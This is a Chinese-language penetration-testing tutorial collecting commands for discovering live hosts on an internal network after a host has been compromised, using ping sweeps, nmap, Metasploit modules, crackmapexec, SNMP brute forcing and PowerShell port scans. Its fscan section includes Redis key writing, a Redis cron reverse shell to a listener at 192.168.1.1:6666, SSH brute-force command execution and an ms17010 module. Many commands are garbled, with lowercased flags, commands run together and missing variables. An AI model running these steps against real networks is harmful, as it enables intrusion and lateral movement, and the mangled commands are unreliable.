内网主机探测工具合集

前言 在拿下通内网的主机权限后,普遍需要更进一步的收集内网信息,此时如何有效快速的探测内网存活主机关系到我们下一步的进展情况。当然自从有了fscan后,我们的效率已经大大提高,不过在某些情况下fscan有时会无法正常探测,此时如何使用其他方法有效地收集内网信息成了关键,这篇文章主要记录一下在不同环境、不同条件下探测内网存活主机的方法。
内网主机探测的不同场景 我们主机扫描的场景主要分为三种:
1、获取到了webshell,此时一般用系统命令或上传脚本工具进行探测;
2、主机已在目标内网,比如已经通过正向或者反向代理搭建隧道的场景。此时可以考虑proxychains+nmap扫描;
3、拿到了一个反弹的webshell,则可以考虑msf。要根据不同的场景考虑支持存活探测的协议,包括了arp、icmp、smb、 udp、snmp协议等;支持端口扫描的方式,包括tcp扫描、udp扫描、icmp扫描等。
内网不同协议主机探测的方式 icmp协议探测 它是tcp/ip协议簇的一个子协议,用于在ip主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ping ping是我们一个常用工具,主要用来测试网络连通性。也可以用它来完成对c段的探测,虽然效率低时间慢,但是不易出发安全规则。(服务器开启防火墙或者禁ping的时候不可用,否则影响探测结果)
• windows
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i ttl=  
这是我在cs里执行的ping命令,可以看到c段内有两台主机存活 也可以写进文件里,方便后续查看。写进c盘的话需要administer权限,可以考虑更换盘符
@for/l %i in (1,1,255) do @ping -n 1 -w 40 192.168.1.%i & if errorlevel 1 (echo192.168.1.%i>>./a.txt) else (echo 192.168.1.%i >>./111.txt) linux
for k in $( seq 1 255);do ping -c 1 10.211.55.|grep ttl|awk -f [ :]+ '{print $4}'; done  
另外,还可以结合系统自带的traceroute、arp 、netstat等命令收集内网信息,curl、wget可以用来做端口探测
nmap nmap ‐sp ‐pi 192.168.1.0/24 ‐t4#或者nmap ‐sn ‐pe ‐t4 192.168.1.0/24  
udp协议探测 internet 协议集支持一个无连接的传输协议,该协议称为用户数据报协议(udp,user datagram protocol)。udp 为应用程序提供了一种无需建立连接就可以发送封装的 ip 数据包的方法。
msf msf > use auxiliary/scanner/discovery/udp_probe或者msf > use auxiliary/scanner/discovery/udp_sweep  
nmap sudo nmap -su -t5 -sv --max-retries 1 10.211.55.5 -p 500  
unicornscan(linux下使用) unicornscan -mu 10.255.55.5 scanline(windows下使用)
sl.exe -h -u 53,161,137,139 -o c:usersadministratordesktoplog.txt -p 192.168.1.1-254  
netbios协议 netbios协议是由ibm公司开发,主要用于数十台计算机的小型局域网。netbios协议是一种在局域网上的程序可以使用的应用程序编程接口(api),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在netbios协议的基础上工作的。
nmap sudo nmap -su --script nbstat.nse -p137 192.168.1.0/24 -t4 msf use auxiliary/scanner/netbios/nbname  
nbtscan扫描 互联网搜索引擎nbtscan是一个扫描windows网络netbios信息的小工具,2005年11月23日发布。nbtscan身材娇小,简单快速。但只能用于局域网,可以显示ip,主机名,用户名称和mac地址等等。
下载地址:http://www.unixwiz.net/tools/nbtscan.html#download以windows用法为例:nbtscan-1.0.35.exe -m 10.211.55.0/24  
arp协议 这是根据ip地址获取物理地址的一个tcp/ip协议。主机发送信息时将包含目标ip地址的arp请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该ip地址和物理地址存入本机arp缓存中并保留一定时间,下次请求时直接查询arp缓存以节约资源。
nmap nmap -sn -pr 10.211.55.1/24
msf use auxiliary/scanner/discovery/arp_sweep  
netdiscover netdiscover是一种网络扫描工具,通过arp扫描发现活动主机,可以通过主动和被动两种模式进行arp扫描。通过主动发送arp请求检查网络arp流量,通过自动扫描模式扫描网络地址。
sudo netdiscover -r 10.211.55.0/24 -i eth0  
arp-scan 可以看到这工具扫描速度挺快的
sudo arp-scan --interface=eth0 --localnet  
smb协议 smb(server message block)通信协议是微软和英特尔在1987年制定的协议,主要是作为microsoft网络的通讯协议。smb 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。
msf use auxiliary/scanner/smb/smb_version  
nmap nmap -su -ss --script smb-enum-shares.nse -p 445 10.211.55.3  
通过cmdfor /l %a in (1,1,254) do start /min /low telnet 10.211.55.%a 445 crackmapexec crackmapexec(cme)是一款后渗透利用工具,可帮助自动化大型活动目录(ad)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用ad内置功能/协议达成其功能,并规避大多数终端防护/ids/ips解决方案。”
cme smb 10.211.55.0/24 snmp协议 snmp 是专门设计用于在 ip 网络管理网络节点(服务器、工作站、路由器、交换机及hubs等)的一种标准协议,它是一种应用层协议。snmp 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 snmp 接收随机消息(及事件报告)网络管理系统获知网络出现问题。
nmap sudo nmap -su --script snmp-brute 10.211.55.0/24 -t4  
msf use auxiliary/scanner/snmp/snmp_enum snmp for pl 这些 perl 脚本用于从目标系统中提取 snmp 数据并解析这些文件以获取潜在的可用数据。
项目地址:https://github.com/dheiland-r7/snmp 这个工具在使用前需要编译,这里参考网上大佬的教程
wget http://www.cpan.org/modules/by-module/netaddr/netaddr-ip-4.078.tar.gztar xvzf ./netaddr-ip-4.078.tar.gzcd netaddr-ip-4.078/perl makefile.plmakemake install  
使用方法:./snmpbw.pl 192.168.0.1 public 2 1 ./snmpbw.pl ipfile.txt public 2 4  
常见的一些其它工具 fscan 这个就不多介绍了,太常见
fscan -h 192.168.1.1/24fscan.exe -h 192.168.1.1/24 (默认使用全部模块)fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)  
通过powershell脚本扫描ip地址存活 这里列举几个项目地址:
https://github.com/nettitude/poshc2_old/blob/master/modules/invoke-arpscan.ps1https://github.com/dwj7738/my-powershell-repository/blob/master/scripts/invoke-tspingsweep.ps1 使用方法:
powershell.exe -exec bypass -command import-module .arpscan.ps1;invoke-arpscan -cidr 192.168.1.0/24powershell.exe -exec bypass -command import-module ./invoke-tspingsweep.ps1;invoke-tspingsweep -startaddress 192.168.1.0 -endaddress 192.168.1.255   此外,还可以用powershell实现基本的端口扫描功能 针对单个ip的多个端口的扫描
1..1024 | % {echo ((new-object net.sockets.tcpclient).connect(10.211.55.3,$_)) port $_ is open!} 2>$null  
针对单个ip的多个端口的扫描1..1024 | % {echo ((new-object net.sockets.tcpclient).connect(10.211.55.3,$_)) port $_ is open!} 2>$null 针对某ip段 & 多个端口的扫描1..20 | % { $a = $_; 1..1024 | % {echo ((new-object net.sockets.tcpclient).connect(10.211.55.$a,$_)) port $_ is open!} 2>$null} ptscan ptscan(phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。ptscan参考了f-nascan的设计思路,在其基础上修改而成,把程序重心放在web扫描和识别功能上。使用方法:
usage: python ptscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]##-f 指定扫描目标文件,文件格式如list.txt所示,同时支持ip和url-h 指定扫描ip或ip段,支持段扫描,如192.168.1 即为扫描c段,192.168 即为扫描b段-p 指定扫描端口,缺省使用程序中的配置端口-m 指定线程数-t 指定timeout-n 不进行ping操作,直接扫描-b 开启banner识别 -r reverseip


大基金计划投资22.5亿元来促进紫光展锐5G芯片的发展
三星欲自力更生发展云服务 不依靠亚马逊网络服务
X-ray自动设备在生物制药领域的应用有哪些?-智诚精展
预付费云平台系统的研究与应用说明
华为面向全球全面开放五大根服务引擎,使开发者应用体验创新
内网主机探测工具合集
云存储技术越来越成熟 或将成为产业发展基础
佳能EOS 800D单反相机搭载2420万像素触控屏可以像操作手机一样操控
医疗的福利,手术机器人为民众谋健康
如何转换Keil工程为ECloudIDE工程
制动单元的工作原理_制动单元的作用
opencv库几个内置函数的功能和使用
内存条如何安装与拆卸
共模电压是什么意思_共模电压怎么算
嵌入式系统C语言位操作的移植与优化
传日本Rapidus将为加拿大公司代工2nm AI芯片
顺络电子LTCC双工器再获美国高通认证
加速推进云智一体,移动云邀人工智能、大模型共舞云端
人工智能已统治围棋? 阿尔法狗击败世界第一棋手柯洁九段
最后一搏!谷歌推出RCS服务